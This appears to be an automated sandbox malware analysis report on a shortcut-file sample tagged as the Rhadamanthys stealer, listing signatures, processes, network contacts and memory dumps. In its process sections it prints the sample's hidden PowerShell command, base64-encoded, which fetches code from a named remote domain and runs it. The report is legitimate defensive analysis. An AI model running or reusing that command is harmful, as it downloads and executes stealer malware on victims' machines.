Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-nt7lsabd66
Target DOC692-692692.lnk
SHA256 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef

Threat Level: Known bad

The file DOC692-692692.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:42

Reported

2024-04-05 11:44

Platform

win7-20240220-en

Max time kernel

119s

Max time network

120s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2064 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2064 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2064 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2636-38-0x000000001B6A0000-0x000000001B982000-memory.dmp

memory/2636-39-0x0000000002060000-0x0000000002068000-memory.dmp

memory/2636-41-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2636-40-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

memory/2636-42-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

memory/2636-43-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2636-44-0x0000000002B50000-0x0000000002BD0000-memory.dmp

memory/2636-45-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:42

Reported

2024-04-05 11:44

Platform

win10v2004-20240226-en

Max time kernel

92s

Max time network

94s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4876 created 2472 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 136.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 72.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 145.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 96.136.73.23.in-addr.arpa udp

Files

memory/4876-2-0x000001622EB60000-0x000001622EB82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdhaxyry.avd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4876-12-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp

memory/4876-13-0x000001622EBA0000-0x000001622EBB0000-memory.dmp

memory/4876-14-0x000001622EBA0000-0x000001622EBB0000-memory.dmp

memory/4876-15-0x0000016231060000-0x00000162310BE000-memory.dmp

memory/4876-16-0x0000016216970000-0x0000016216980000-memory.dmp

memory/4876-17-0x0000016231100000-0x0000016231500000-memory.dmp

memory/4876-18-0x0000016216970000-0x0000016216980000-memory.dmp

memory/4876-19-0x0000016231100000-0x0000016231500000-memory.dmp

memory/4876-21-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp

memory/4876-22-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp

memory/4876-23-0x0000016231100000-0x0000016231500000-memory.dmp

memory/4876-20-0x0000016231100000-0x0000016231500000-memory.dmp

memory/4876-24-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp

memory/1084-25-0x00000194D8F50000-0x00000194D8F59000-memory.dmp

memory/1084-32-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp

memory/4876-31-0x0000016231100000-0x0000016231500000-memory.dmp

memory/1084-30-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp

memory/1084-34-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp

memory/1084-33-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp

memory/1084-35-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp

memory/1084-36-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp

memory/4876-29-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp

memory/1084-37-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp